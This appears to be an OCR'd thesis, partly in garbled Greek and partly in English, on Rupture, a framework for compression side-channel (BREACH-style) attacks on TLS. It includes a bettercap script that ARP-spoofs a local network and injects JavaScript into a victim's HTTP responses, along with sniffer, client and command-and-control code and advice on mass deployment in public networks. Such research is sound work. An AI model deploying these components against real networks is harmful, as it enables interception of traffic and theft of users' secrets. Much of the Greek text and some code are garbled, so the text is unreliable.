TIPOKELUEVOU Va ETIKVPWOEL KaL va XpnoLUOTOLEL AGVUUETPO KAELSL TOV €LLUTINPETNTY,

UE OKOTIO VA LTTOAOYILEL TO GUUUETPLKO KAELST MoV Ba YpnaotpomonBel yla To vITdAOUTOo

NG emkovwviag. O meAdtng vmoAoyifeL Tnv PreMasterSecret Kat T0 GTEAVEL GTOV SLAKOULOTH

* http://breachattack.com
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TO 07T0{0 0TN GLVEYELA X proLoTToLEiTaL aTTO TA VO PUEPN YL VA VTTOAOYLOTEL TO CUUUETPLKO
KAELSL. TEAOG, oL V0 MAELPEG aVTAAAAGCOLY Kal va emtkupwvouy hashes kat MAC Kw81koUg

yla OAa Ta TPONYOVUEVA UNVUUATA, OTIOTE TTAEOV TNV LKAVOTNTA VA ETIIKOLVWVOULV UE
achdaAeLa.

Avto6 adopd povo otn Baocwkn xelpapia TLS.

2.3.2 TLSrecord

+ Byte +0 Byte +1 Byte +2 Byte +3
Byte Content type
Bytes Version Length

1.4 (Major) {Minor) (bits 15..8) (bits 7..0)
Bytes
5..(m-1) Protocol message(s)

Bytes
m..(p-1)
Bytes
p--(q-1)

MAC (optional)

Padding (block ciphers only)

Figure 2.8: TLS record

H mapamavw elkova S€iyvel ) yeviki popdn twv TLS records.

To mpwto medio opiCeL To Tumo tov Record Layer Protocol Tovrecord, mov propel va
ELVaL EVA ATTO TA TTOPAKATW:

Hex | Type
0x14 | ChangeCipherSpec
0x15 | Alert

0x16 | Handshake
0x17 | Application
0x18 | Heartbeat

To Sevtepo medio opifel Tnv ekSoon Tov TLS ywa to ufvupa eyypadrg,amno major Kot
minor aptlpovg

Major | Minor | Version
3 0 SSL 3.0
3 1 TLS 1.0
3 2 TLS 1.1
3 3 TLS 1.2

To 6LUVOALKO UrKOG TOL WPEALUOL hopTiov ToL pekdp, To MAC kat To padding voAoyifovta
ETAL UE TOV AKOAOVOO TPOTIO 256 * (bits15..8) + (bits7..0).
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TéAog, To wdEAo dpoptio TG eyypadng, n onoia, avdAoya Ye Tov TUTO, Umopel va eivat
Kpuntoypadnuévn, to MAC, av vrdpyel, kat to padding, av xpelactel, ouvOEToLVY TO
vndAouTo NG To pekop TLS.

2.4 Man-in-the-Middle

Mta man-in-the-middle eniBeon ° eivat éva eiog cyberattack 6tav €éva KakOBovAog
XPNOTNG TOV ELCAYEL EAVTO TOV/TNG OE UL GLVOIALA YETAED TWV §V0 YEPWV, LITOSVETAL

Kal ta 800 uépn Kal amokTtd mpdofacn otig TAnpodopieg mov oL V0 MAELPEG TpooTTabovoav
va oteldovv aTov dAA0. Mla man-in-the-middle eniBeon emiTpénel oe evav KakofovAo
XPNOTN VA TapakKoAovOnNaceL, va armocsToAel Kal va AdBeL Sedopéva mov mpoopifovtav

yla KArmolov aAAo, i §ev mpoopifovtav yla 0Aovg Ta avadepopeva pépn 8e yvwpifouv
timota yéxpL va eivat moAv apyd.

Alice Mallory Bob

Figure 2.9: Man-in-the-Middle

Ot MITM emB€celg unmopovv va HETPLAOTOVV XPNOLUOTIOLWVTAG KPLTTTOYPAGNON arto
axpn o’ axpn, apotfaio éxeyyxo tavtotntag  PKI. Qot000, 0pLOUEVEG aTTO TLG ETIOETELS
egaxoAovBoUV va elval ePIKTEG ammd Kak puOULON TAPAUETPWY OTA TEALKA onueia.
[Mapakdtw meptypddovpe Eva t€Tolov eidoug enbéoelg, mAaoctoypadnon ARP.

Shttps://en.wikipedia.org/wiki/Man-in-the-middle_attack
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2.4.1 IThaoctoypadnon ARP

[MAactoypadnon ARP eival évag Tomog eniBeong oto omoio évag emiTiBEuevog oTEAVEL
ta Pevdemniypada ARP (Resolution Protocol Address) unvoparta o€ €va Tomko Siktuo.
AvTO €xeLl wg amoTtéleopua tn ovvdean g Stevbuvvong MAC tov elofoAga pe n Stevbuvon
IP evOG vOULHOL LTTOAOYLOTA 1] SLAKOULGTY) 0TO S{KTLO. AUTO ETLTPEMEL GTOV ELGPBOALA VA
apyioelvadapupavetl 6Aa ta eSopéva mov mpoopifovTal yla tn cuykekpLuévn Stevbuvvaon
IP. To ARP spoofing pmopel enitpédel oe €va KaKOPBOULAO XproTn va LTIOKAEYEL, va
TPOTIOTIOLNCEL 1] AKOUN KAl VA oTapatoel Ta Se§ouéva mov yetapépovral.

H mAaotoypadnon ARP umopet emiong va xpnowpomonBel yla vouLpuovg Aéyoug, 6tav
€VaG TTPOYPAUUATIOTAG TIPETEL VA KAVEL artochaiudTwon otnv kivnon IP peta&v dvo
host. O mpoypaUHATIOTAG UTTOPEL OTN CUVEXELA VA EVEPYIIOEL WG EVELAUETOG UETALD
TwV 800 hostolkoSeomoTEC.

Attacker

Figure 2.10: ITAactoypadnon ARP
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Chapter 3

LTATLOTIKEG UEBO0SOL KL TEYVIKEG BEATLGTOTTOLNONG

Ot Gluck, Harris kxat Prado otn apywkf dnuoctévon ylwa to BREACH gpedvnoav tnv
eniBeon oe aAyoplOuovg pong 0mwg To RC4. IIpdTIvav akoua ot oL aiyoplouol §€oung
ELVAL ELAAWTOLXWPIG OUWE VA EWOOLV TPAKTIKEG AeTTTOUEPLEG YL TNV eTiBean. H xprion
70V RC4 w0700 €xEL amayopeLTel yla TIg Slampaypatevoelg petagy servers kal clients[7]
AOYw AAAWV GNUAVTIKWV gumtabelwv tov RC4.

Texvikég evBLypaAuUnoNG TwV Secuwv €xouvv nén Stepevvndet otn BLpAoypadial4] kat

o Anuitpng Kapakwaotag Stepetivioe oTn SUTAWUATIKY TOV EPYACIA OTATIOTIKEG UeBOSOULG
yla eniBéoelg oe aryopibuovg Seopwv. H evotnta 3.1 e€eAicoel Tn Xprion TwWV OTATIOTIKWVY
UEBoSwv yla Tig emiBéaelg o arypibuovg kpuntoypddnong Seouwv e €va Lo SOUNUEVO
TpOTIO.

Ztnv evotnta 3.2 mpoteivovpe eniong Stddopeg TeXVIKEG BeEATIOTOMOINONG TTOL KAVOULV
Vv enibeon moAL L0 AoSoTIKY.

3.1 EvOuvypduuion Agcuwv

OLaAYyOpLOUOLKPLTITOYPADNONG SECUWY TTAPEYOLYV ULa UEYAAVTEPN TTPOKANGCN GE GX€aN

UE TOUG OAYOPLOUOVG KPLTITOYPADNGNG PONG, 0G0V adOPa aTO AV LEXWPLLOVUE SLadOpPEG

070 WAKOG, adov oL arydplOpoL kKpuntoypddnong pong TapeXoLY KaAVTEPN SlakpLTdTnTA.

Avto ovpBatvelylati ot aAdplBpol kpunToypadnong SEGUWV GTPOYYLAOTTOLOUV TO UNKOG

o€ A\-bits, dmov A elval to péyebog Tov unmAok/§€ounc. T'ia va To mapakdupovue auto,
npoTelVOLPE TNV Eloaywyn] TeEXVNTOL BopuPou,n omola Ba avaykacel Tnv dnuovpyia
TPOCOETWV UITAOK, €AV elval amtapaitnTo. OewpnTIKA, 6a TAV APKETO YLA VA TTPAYUATOTTOL|GOVUE
16x meplocdtepa attiuata (requests) ywa va emitevyBel n evbvypdauulon UAok. Xe

avTd To onpeio, 0 cwWoTOG LTTOYAPLOG XAPAKTHPAG Ba EXEL WG ATTOTEAEGUA EVA ALYOTEPO

UITAOK, T0 omoio efval pia petproun Stadpopd urnKoug.
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AES128 Block

A
f )

|foobarXY (compressed: 15) |

|foobasXY (compressed: 16) |

|foobatXY (compressed: 16) |

Additional observed block

|foobarXYZ (compressed: 16) |

|foobasXY (compressed: 16) Z (compressed: 1) |

|foobatXY (compressed: 16) |Z (compressed: 1) |

Figure 3.1: EvOuypdupion Block/Aéoung

To mapanavw Sivel Eva mapddetyua yla To mwe n eLoaywyn texvnTov Bopvou odnyet
oTNV €VBLYPAUUNCN TWV SECUWV KL TIWG AUTO CUVTEAAEL O€ ULa UETPNoLun Stadopad
URKoLG. ETo mapadetypa vmoBETOVUE OTL TO YVWOTO YVOTIKO givat To fooba xat 0Tl T0
enopevo mbavo byte mpoépyetal aro To aAddpnTo (,s,t). Otav n enibeon ypnoluomnotLel

WG ENMUTPOCOETOVS X apaKTPES TO XY, TO GUVOALKO UKOG TWV TPLWV TTLOAVWV EMOUEVWV
byte eivat to (810. ITapatt T0 foobar €xelL 15 bits, aTpoyyvAomolovvtat ota 16 bits Adyw
NG EVOLYPAUUNONG TWV UTTAOK/EEGUWV AV X PN GLUOTIOL|GOVUE WG TTPOGHETOVS XAPAKTHPES
TOVG XYZ, 0L AAB0G LITOYHGLOL XAPAKTPESG EXOVV WG ATTOTEAEGUA EVA ETTUTAEOV UTTAOK
emeldn Eemepvave Ta 6pLa TOL WITAOK. Av Kal N mpayuatiky Stadpopd ewvat povo 1 bit, n
XPNoN TOL aAyOopLlOuoL SecuwVv/UmAoK €xel wG armotéAeoua 16 bits Stadpopd pkoug.

3.2 BeATLOTOTOWGELG

3.2.1 XoUma atTQUATWY

"Eva mpéBAnua Ue TIG KPUTTOYPAdNUEVEG ATTAVTIOELG ELVAL TO YEYOVOG OTL €V €LvaL
duvato va yvwpifovye alyovpa mold TOKETO AVTIOTOLKEL o OLd epwTNUA, OTAV TA
EPWTNUATA EPYOVTAL TO EVA UETA TO AAAO at6 TOV browser. ETol, av évag enttelféuevog
BéAeL va kdvel epwTiuata oelplakd, Ba enpemne va eivat 6lyovpog 0TL OAQ TA TTAKETA-
anavtAoEeLg yla KAOe epwTnua €xouv GTACEL TTPLV VA KAVEL €va KALVOUPLO EPWTNUAL.

QoTO00, elvatmibavo va arrodvyovue avth TNV Kabuvotépnon kdvovtag samplesets(cuvoAa
amo Selypata), kabéva amo Ta omoia mePLEXOVV TTOAATAA EPWTHUATA YL EVA CUYKEKPLUEVO
ovpuPoro. T'ia k4Be sampleset, oL aTavTOELG B0 EPYOVTAL N UL LETA TNV GAANN Kat 8e
Ba elvat uvatod va Tig Eeywpioovpe. AvTo Ouwg ev amoteAel mpOPAnuUa, adov avta
TA EPWTAUATA KAL OL AVTIOTOLXEG amavTAOELg eV eEQPTWVTAL N YLa aTté TNV GAAN Kal
OUVETTWE €V LTIAPXEL AVAYKN Va TIG EgXwPloove. To CUVOALKSO URKOG WTopel Kat TaAL
va petpndel kat va Slaipebel pe o GUVOAO TWV ALTNUATWY TIOL TIEPLEXEL TO sample-
set. AuTO elvat apkeTd yla va vmmAoyifovue To eMBLUNTO PHEGO uKoG. AuvTh n uéBdog
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TPOCPEPEL PLa avgnon NG TaxLTNTAG WG Kal 5%, Bewpwvtag 200 ms kabvoTeEpnon Kat
40 ms round trip time.

3.2.2 IapaAiinAomoinon o€ eninedo Browser

H BeAtiotomonon mov mapovaotactnke otnv evotnta 3.2.1 Ba eiye uikpdg oderog av Sev
v pxe mapaiAnAomnoinon oe eninedo browser. ITapoAo 1oL o entTIBOEéuevog Ba €oTeAve
TIOAQTIAG altuata o€ pia Xpoviky otiyur, o browser Ba ta xelpl{dtav oelplaxd.

OL browsers enitpénovnvwg kat 6 mapdAinia HTTP aitiuata, av kat auto Stadépel
avdioya pe v ehappoyn Kat Tnv €kdoon Tov browser. AuTd EMLTPETEL VA KAVOUUE

TIOAAATIAG TTapdAANAQ altuata Kat va maipvoupe Setypata tnv 8la xpovikr otiyun,
KAVOVTAG €TOL TNV €MiBe0ON WG KaL 6x ypnyopoTepn.

Kdbe mapdAAnAo aitnua v umopel va eLaptdTal amo mPonyovUEVO AIOTEAECUATA.
Q071000, GLAAEYOLE TTOAAATIAG Selypata yla kaBe vToPidLo YapaKTpa TPOKELUEVOL
VO KAVOUUE TN OTATLOTIKY aAvAALGon Kal va eEAyovpe To u€co. Avtd ta Seiypata adpopoivv
ToV (810 vTOYdLo YapaKTAPA KAl UITOPOLY Vo GLAAEXBOLY YWwpPI¢ aAAnAeEdpTnON.

100000 ms 150000 ms

Figure 3.2: I[TapaAAnAonoinon oe enineSo Browser
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Chapter 4

Rupture framework

Le auTo T0 KePAAalo, Ba mepLypdPovue To EPYAAELO HaG yla TN SteEaywyn enbBécewv
ovumieong, To Rupture. To Rupture eivat eva cvotnua service-based apyLTeKTOVIKNG
TIOUL TTEPLEXEL TTOAAQTTAQ AVEEAPTNTEG TUAUATAL

H evdétnta 4.1 meplypaddel TI¢ TPOLTTOBETELG TTOL ATALTOVVTAL TTPOKELUEVODL Vva YiveL n
eniBeon. H evotnta 4.2 meplypddel Tnv opoioyia mov xpnolpomnoleital 6to epyaieio
UaG Hag Kat TIg apx€g mou to Siémouv. TEAog, n evotnTa 4.3 mapoucotdel Ste¢odika ta
TIOAAQUTAQ TUNUATA TOL gpyaAeiov.

Av xal Ta Stddopa TuApaTa €(ovv oxedlacTel yla va uropovv va TpEEouv avegapTnTa
oe SlapopeTikd SikTua | CLOTAUATA VTTOAOYLGTWYV, N EMiBean unopel va mpaypatomonOel
UE TNV EKTEAEDN OAWV TWV LTTOCLOTNUATWY 0€ Eva ovoTnua. [Tapéyovpe Ta KATAAANAQ
scripts yla tn eVKoAn Ste€aywyn tétolov eibovg enbécewv.

4.1 YmoO€oleg TnG emiBeong

To epyaieio mpolmoBETeL pla vnpecia target/otdyo va emiteel. TuTkA avTh n v pecia-

071006 elval pla Stadwktvakn vnnpecia mov ypnotpomnolel TLS. ZuyKeKpLUEVA, GTOXEVOVYE

oe vnnpeoeieg mov mapéyovv HTTPS cuvéénelg. Qatooo, enbeaelg evavtiov GAAwY
TIAPOUOLWV TIPWTOKOAAWYV Elval ePLKTEG. OTTOLOSATIOTE TPWTOKOAAO AVTAAAAGEL KPUTITOY paAdUEVA
dedopéva oto SixTuo yla Ta omoia vmapyel BewpnTky emibeon pmopel va emitebel
Xxpnotuonowwvtag to Rupture. ZyeSiacape To Rupture wg eva epyaieio yla melpapatiopo

o€ TETOlEG VEeG emIBEaelg. ITapadelypata AAAWY KPUTTTOYPAPNUEVWV TTPWTOKOAAWY yLa

Ta omola pumopel va edeyyBel n eniBeon eival to SMTP kat To XMPP.

H eniBeon vmoBEteL emiong éva xprioTn TG LIINPEGLAG-GTOXOV YL TOV 0100 BEAOLUE Va
armokpuntoypadnoovue SeSopéva, To victim/Bovua. To B0y cuvEEeTal e EVA GUYKEKPLUEVO
o16Y0.

Yndpyxovv 8vo Baoikég vmobéoelg otnv enibeon pag: H elcaywyn) Kwdka Kat Kat n
oLAAoyn makeTwv (injection and sniffing). Avta emttuyydvovtal cuyvd pe Ta idla yéoa,
xwpic duwg va elvat anapaitnro.

H vnobeon eloywynic kwdika onuaivel otL o enttiféuevog eivat oe Bon va elodyel
EKTEAEOLUO KWSIKA GTOV LTTOAOYLOTH TOL BUUATOG. O KWSIKAG auTOG Utopel va KAvel
TIPOCAPUOCTIKA aLTAMATA Yl TNV vmnpecia otoxo. H elcaywyn kwdka 6to Rupture
EMLTLYYAVETAL UEGW TOL textitinjector. O kwSIKAG oL eLodyetal eyyeetat eivat o client
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H un6Beon cOAA0yN g makeETwv avadepel OTL 0 avTimaAog eival og B€on va mapatnprjoet
8ikTvo petagL Tov BVUATOG KaL TOL 6TOY0L. ALTH N Kivnon elvat cuvRBwWG KpLTTOKEiYEVA.
H ovAdoyn makE€Twy enLTuyyavetatl HEow ToL sniffer.

Tooo o sniffer 660 kat o client 6a TapovoLlacTOVV GTNV evoTnTa 4.3.

4.2 Apy€g Tng emiBeong

H eniBeon mpaypartomnoleital eloayovtag mpwta tov client kwdika 6Tov LITOAOYLOTH

TOL BuuaTog YpnouomolwvTag Tov injector. O client aTn cLVEXELN AVOLYEL Eva KAVAAL

EVTOANG-Kal-éAeyyo (command-and-control) ye Tnv realtime vmnpeaoia, n onoila mtpowOel
Tn 8ovAeld amno to backend otov client.

Otav évag client cuvéetal e €va Bvua, {ntd SovAeld. To backend Sivel SovAeld otn
realtime vmnpeaoia, n omoia v mpowOel atov client. ALTA Ta ALTHUATA-E0VAELEG CNTOVV

ano tov client va ekteAéoel Yl oelpd amo altiuata SIKTVOL atd TO LITOAOYLOTH TOU
Bvuartog oto SladikTvako atdyo. AeSopgévou OTL aLVTd Ta altiuata yivovtal and tov
browser Tov B0patog, TepLEYovv cookies aLBEVTIKOMINGNG TTOL ENKLPWVOLV TO XPHOTN
oTNV LVTnpecia otox0. LG €K TOVTOV, Ol ATTAVTIOELG TTEPLEXOLV gvaicBnta dedouéva,
aAAd ta SeSopéva Sev elvat avayvwaotlya amo Tov client Adyw tng moALTIkA ¢ {Stag mpoéievong
(same origin policy).

Otav n andvtnon €pxeTal amod TNV LoTOGEAISA-0TOX0 GTOV LITOAOYLGTY] TOL BVUATOG, N
KpLTTOYypadnuUeEVN andvtnon cLAAEyeTat and To sniffer oto Siktvo. Ta kpuntoypadnuéva
otolxeia mov apopovv pia andvinon eival éva sample. Kabe epyacia {ntd TOAAWTAA
aLTUaTa oL MPEMEL va Yivouy, Kal WG €K TOVTOL MOAAAAA Selyyata cLAAEyovTal
avd epyacia. To 6UVOA0 TWV SELYUATWV TTOLV CLAAEYOVTAL YL €VA CUYKEKPLUEVO aitnua
epyacia eivat éva sampleset.

def _sampleset_to_work(self, sampleset)
return {
‘url': self._url(sampleset.candidatealphabet),
‘amount': self._wvictim.target.samplesize,
‘alignmentalphabet': sampleset.alignmentalphabet,
‘timeout': 0

Figure 4.1: Samplesets

At each stage of the attack, a prefix of the secret is known, because that portion of the
secret has already been successfully decrypted. The prefix decrypted grows until the
whole secret becomes known, at which stage the attack is completed.

To drill down on the known alphabet, one of two methods is employed. In the serial
method, each symbol of the known alphabet is tried sequentially. In the divide & con-
quer method, the alphabet is split into two candidate alphabet subsets which are tried
independently.

Mua emituynuévn enibeon amokpuntoypadel mANPwS £va TUUA TOU ATAOV KELUEVOU.
To TuAua TOL ATAOV KELPEVOL TTOL TpooTtadel n eniBeon va amokpuntoypddnaoet eivat
TO UUOTLKO, secret. AUTO TO TUUA KELWEVOL eVTOTETAL UECW EVOG APYIKA YyVWG0oU
MPOOEUATOC IOV TO SLakpivel artd GAAA LLOTIKA. AUTO TO TPOBepa elval cLVABWG 3 €wG
5 bytes. Kabe byte Tov T0 puotiko pmopouv va avtAnBel amo éva Sedouévo argpaBnto, To
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aAdapnto Tov puotiko. IHapadelypatog XapLy, HEPIKA LLOTIKA TTEPLEXOLV UOVO apLBUOUG,
Kal €Tol aAdapnto toug eival To cvvoAro Twv aplBuwv [0-9].

Le Kd0Oe atddlo TG emiBeong, éva mpdOeua TOL HLGTIKOV elval yVWOTo, EMELSH ALTO TO
TUAUO TOV YUOTLKOV €XeL 8N artokpuntoypadnbel emapkwg. To anmokpunToypadpnuévo
pOOeua peyarwvel P€xpl va yivel yvwaotd To OA0 WVOTIKO, 0TATE Kal N emiBeon €xel
OAOKANPwOEL

Otav éva ouykekpLuévo mpobepua Tov PLOTIKOU eival yvwaoTo, To eNOUEVo byte Tov
ULOTIKOU TipEmeL va eloal amodacilopévog. H eniBeon mpolmobETel apykd TNV eMOUEVN
ayvwaTto byte TG puoTikng propel va mpogABeL armd to aAdAaBnTo T0 HUGTIKO TOV, AAAA
olyd-olyd aoknoelg KATw Kal amoppintel cvupfora aAdafritov uéxpL mapauével uovo
évag vmoPridlog cuuPoAo. Le kabe 6TASL0 TNG eMiBean EvHg byte TOL HLOTIKOV, LITAPXEL
uLa oplopévn textit yvwaotd addapnto n omoia o emopevo byte umopel va mapet. Avtn
N yvwoti aAddapnto eivat éva LTOGUVOAO TWV YUCTIKWV TOL AAGAPnTo.

T'a va meplopiocovpe 10 yvwotd aAddapnto, pia anod tig §vo mapakdtw pebddovg mou
xpnowomnoteitat. Xtn oewplakn uéfodo, kabe VU BOAO TOL YyVWOTOL aAdafrjTov SokiuddeTat
Stadoykd. Ztn uébodo Stalpet& facireve, To adddfnto eivat ywplouévo ae Vo vroyrdLa
aApdfnta vitoocvvoAa ta omoia SoklpdfovTal aveEdpTnTa.

def _build_candidates_divide_conquer(self, state):
candidate_alphabet_cardinality = len(state['knownalphabet']) / 2

bottom_half = state['knownalphabet'][:candidate_alphabet_cardinality]
top_half = state['knownalphabet'][candidate_alphabet_cardinality:]

return [bottom_half, top_half]

Figure 4.2: Divide & Conquer Alphabet

H eniBeon yivetal oe yvpoug. Le kabe yvpo, AauBdavetat pla andpacn GYETIKA UE TNV
Katdotaon TG enibeong kal KATL TEPLEGOTEPO YIVETAL YVWOTO YlA TO HUOTIKO. L€ €va
YUPO, lTE TO ENOUEVO byte TOL HUOTIKOV YIVETAL YVWAGTO, 1] TO YVWOTO AADAPNTO TepLopileTat
o€ €va HKpOTEPO cVVOAO. IIpokeLuEéVOL va cuykpiBouv ta Stddopa vrtoyridLa aAdapnTa,

n eniBeon exteAel yla oelpa maptiSeg, batches cuAAoyN G SeSopgvwy yla kdbe yupo.

Le kdbe maptida, Ta Stddopa delypata mov CUAAEXONKaAV amo kabe katavour mTlavoTATWV
avadépovtal oe €va vmoPdLo aAddpnTto kat oxnuatifovv éva sampleset. Otav sam-
plesets ng i8la mocOTNTAG TWV SEYUATWV €XOUVV CLAAEXBEL yla 0AeG TIG vIToYRdLa
aAdapnta, pa maptida €xel oAokAnpwOel kal ta §edoyéva avarvovtal. H avdivon
ekteleital and tov avalvtig, analyzer o omoiog cLykpivel oTaTIOTIKA Ta Selypata
a6 SLadoPETIKEG KATAVOUEG Kal armodaaciletl Told Stavoun eivat n BértioTn, SnAadi
TEPLEXEL TN owoT ekacia. H anddaon avt) Aapfdvetal pe KAmoLla EUTLoToauvn, confi-
dence, n omoia ekdppdaletal oe bytes. EQv n eumiotoovvn eivat avemapkig, ua mpocdeTn
naptida samplesets cUAAEyeTal, Kal N avdAvon enavaAapBdavetat €wg 0Tov n Tipn ™G
EUTTLOTOOVVNG EEMEPATEL VO GUYKEKPLUEVO OpLO.

Otav ovAAexBovV apkeTEG MAPTISEC waTe va Byel pla artddaacn mov TPEMEL va yivouv

UE TNV KOAR EUTTLOTOCGVV, 0 YUPOG TNG emiBeong €xel 0OAoKANPwOEel kal mepLocdTEPN
nAnpodopia oYETIKA UE TO LVOTIKO YiveTtal yvwoTh. Kabe yOpog atnv KaAUTepn epintwaon
OUAAEYEL EVA KOUUATL TWV TTANPOGOPLWV TOU HUGTIKOVD.
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Candidate scoreboafd:
16576
16592
16592
16592
16592
16592
16592
16592
16592
16592
: 16592
: 16592
16592
16592
: 16592
16592
16592
16592
16592
: 16592
16592
16592
16592
16592
16592
16592

NX<<EIrMdCIWDOIO0~3—=XITH-HQNOoNHDA

Decision:
state: {'knownalphabet': u'abcdefghijklmnopqrstuvwxyz',6 ‘knownsecret': u'imperd'}
confidence: 1.0

Figure 4.3: Scoreboard

4.3 APYLTEKTOVIKI)

4.3.1 Injector

The injector component is responsible for injecting code to the victim’s computer for
execution. In our implementation, we assume the adversary controls some network of
the victim. Our injector injects the client code in all unauthenticated HTTP responses
that the victim receives. This Javascript code is then executed by the victim’s browser
in the context of the respective domain name. We use bettercap [1] to perform the
HTTP injection. The injection is performed by ARP spoofing the local network and
forwarding all traffic in a Man-in-the-Middle manner. It is simply a series of shell
scripts that use the appropriate bettercap modules to perform the attack.

As all HTTP responses are infected, this provides increased robustness. The injected
client code remains dormant until it is asked to wake up by the command -and-control
channel. This means that the user can switch between browsers, reboot their com-
puter, close and reopen browser tabs, and the attack will keep running.

The injector component needs to run on the victim’s network and as such is light-
weight and stateless. It can be easily deployed on a machine such as a Raspberry Pi,
and can be used for massive attacks, for example at public unencrypted networks such
as coffee shops or airports. Multiple injectors can be deployed to different networks,
all controlled by the same central command-and-control channel.

While injection is performed on the local network through altering HTTP responses
in our case, the injector component is independent and can be replaced by alternative
means. Other good points of injection that can be used instead of our build-in injector
are giving a link directly to the victim via a phishing mail, in which case attack robust-
ness is limited, or by injecting code at the ISP or router level if the adversary has such
a level of access.
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#!/bin/sh
SOURCEIP=$1

iconv -f utf-8 -t ascii//TRANSLIT dist/main.js > dist/main2.js
mv -f dist/main2.js dist/main.js
sudo bettercap -T ${SOURCEIP} --proxy --proxy-module injectjs --allow-local-connections --js-file dist/main.js

Figure 4.4: Injector Code

4.3.2 Sniffer

The sniffer component is responsible for collecting data directly from the victim’s net-
work. As the client issues chosen plaintext requests, the sniffer collects the respective
ciphertext requests and ciphertext responses as they travel on the network. These en-
crypted data are then transmitted to the backend for further analysis and decryption.

def parse_capture(self):
Parse the captured packets and return a string of the appropriate data.
logger.debug('Parsing captured TLS streams')
application_data = b*'
application_records = 0
# Iterate over the captured packets
# and aggregate the application level payload
for port, stream in self.port_streams.items():
stream_data = self.follow_stream(stream)
data_record_list = self.get_application_data(stream_data)

application_data += ''.join(data_record_list)
application_records += len(data_record_list)

logger.debug('Captured {} application data'.format(len(application_data)))
logger.debug('Captured {} application records'. format(application_records))

return {

‘data': application_data,
‘records': application_records

Figure 4.5: Sniffer Code

Our sniffer implementation runs on the same network as the victim. It is a Python
program which uses scapy [2] to collect network data.

Our sniffer runs on the same machine as our injector and utilizes the injector’s ARP
spoofing to retrieve the data from the wire or the air. Other sniffer alternatives include
sniffing data on the target network side, or on the ISP or router point if the adversary
has such a level of access.

The sniffer exposes an HTTP API which is utilized by the backend for controlling when
sniffing starts, when it is completed, and to retrieve the data that was sniffed. This API
is described below.

backend <-> sniffer (HTTP)

The Python backend application communicates with the sniffer server, in order to
initiate a new sniffer, get information or delete an existing one. The sniffer server
implements a RESTful API for communication with the backend.

/start is a POST request that initializes a new sniffer. Upon receiving this request, the
sniffer service should start sniffing.
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The request contains a JSON with the source_ip, - the IP of the victim on the local net-
work - and the destination_host - the hostname of the target that is being attacked.

The backend returns HTTP 201 if the sniffer is created correctly. Otherwise, it returns
HTTP 400 if either of the parameters is not properly set, or HTTP 409 - Conflict, if a
sniffer for the given arguments already exists.

/read is GET request that asks for the network capture of the sniffer.

The GET parameters are the source_ip - the IP of the victim on the local network - and
the destination_host - the hostname of the target that is being attacked.

The backend returns HTTP 200 with a JSON that has a field capture, which contains the
network capture of the sniffer as hexadecimal digits, and a field records, that contains
the total amount of captured TLS application records. In case of error, HTTP 422 -
Unprocessable Entity is returned if the captured TLS records were not properly formed
on the sniffed network, or HTTP 404 if no sniffer with the given parameters exists.

/delete is a POST request that asks for the deletion of the sniffer

The request contains a JSON with the source_ip - the IP of the victim on the local net-
work - and destination_host - the hostname of the target that is being attacked.

The backend Returns HTTP 200 if the sniffer was deleted successfully, or HTTP 404 if
there is no sniffer with the given parameters.

4.3.3 Client

The client runs on the victim machine and is responsible for issuing adaptive chosen
plaintext requests to the target oracle.

The client is written in Javascript and runs in a different context from the target web-
site. Thus, it is subject to same-origin policy and cannot read the plaintext or encrypted
responses. However, the encrypted requests and responses are available to the sniffer
through direct network access.

The client contains minimal logic. It connects to the real-time service through a command-
and-control channel and registers itself there. Afterwards, it waits for work instruc-
tions by the command-and-control channel, which it executes. The client does not take
any decisions or receive data about the progress of the attack other than the work it
is requested to do. This is intentional so as to conceal the workings of the adversary
analysis mechanisms from the victim in case the victim attempts to reverse engineer
what the adversary is doing. Furthermore, it allows the system to be upgraded without
having to deploy a new client at the victim’s network, which can be a difficult process.

As aregular user is browsing the Internet, multiple clients will be injected in insecure
pages and they will run under various contexts. All of them will register and main-
tain an open connection through a command-and-control channel with the real-time
service. The real-time service will enable one of them for this victim, while keeping
the others dormant. The one enabled will then receive work instructions to perform
the required requests. If the enabled client dies for whatever reason, such as a closed
tab, one of the rest of the clients will be waken up to take over the attack.

The client is a Javascript program written using harmony / ECMAScript 6 and compiled
using babel and webpack.
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doWork (work) {
const {url, amount, alignmentalphabet} = work;

if (typeof url == ‘'undefined') {
this.noWork();
return;

console.log('Got work: ', work);
const reportCompletion = (success) => {

if (success) {
console.log('Reporting work-completed to server');

}
else {

console.log('Reporting work-completed FAILURE to server');
}

this._socket.emit('work-completed', {
work: work,
success: success,
host: window.location.host

1)
}
req.Collection.create(
url,

{amount: amount, alignmentalphabet: alignmentalphabet},
function() {}.

reportCompletion.bind(this, true),
reportCompletion.bind(this, false)

Figure 4.6: Client Code

4.3.4 Real-time

The real-time service is a service which awaits for work requests by clients. It can
handle multiple targets and victims. It receives command-and-control connections
from various clients which can live on different networks, orchestrates them, and
tells them which ones will remain dormant and which ones will receive work, en-
abling one client per victim.

The real-time service is developed in Node.js.

The real-time service maintains open web socket command-and-control connections
with clients and connects to the backend service, facilitating the communication be-
tween the two.

The real-time server forwards work requests and responses between the client and
the Django service. The communication it does with the client uses web sockets in
order to achieve bi-directional communication in real-time. This also facilitates the
ability to detect that a client has gone away, which is registered as a failure to do work.
This can happen for example due to network errors if the victim disconnects from the
network, closes their tab or browser, and so on. It is imperative that incomplete work
is marked as failed as soon as possible so that the attack can continue by recollecting
the failed samples.
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const createNewWork = () => {
const getWorkOptions = {
host: BACKEND_HOST,
port: BACKEND_PORT,
path: '/breach/get_work/' + victimId

winston.debug('Forwarding get_work request to backend URL ' + getWorkOptions.path);

const getWorkRequest = http.request(getWorkOptions, (response) => {
let responseData = '';
response.on('data’, (chunk) => {
responseData += chunk;
1)
response.on('end’, () => {
try {
client.emit('do-work', JSON.parse(responseData));
winston.infe('Got (get-work) response from backend: ' + responseData);

}
catch (e) {
winston.error('Got invalid (get-work) response from backend');
doNoWork () ;
¥
1)

1)

getWorkRequest.on('error’, (err) => {
winston.error('Caught getWorkRequest error: ' + err);
doNoWork () ;

1
getWorkRequest.end();

Figure 4.7: Real-time Code

The web socket API exposed by the real-time service is explained below.

client <-> real-time protocol

The client / real-time protocol is implemented using socket.io websockets.
client-hello / server-hello

When the client initially connects to the real-time server, it sends the message client-
hello passing its victim_id to the real-time server. The server responds with a server-
hello message. After these handshake messages are exchanged, the client and server
can exchange futher messages.

get-work / do-work

When the client is ready to perform work, it emits the message get-work requesting
work to be performed from the real-time server. The real-time server responds with
a do-work message, passing a work object, that is structured as defined below:

typedef work
amount: int

url: string
timeout: int (ms)

If the real-time service is unable to retrieve work from the backend due to a com-
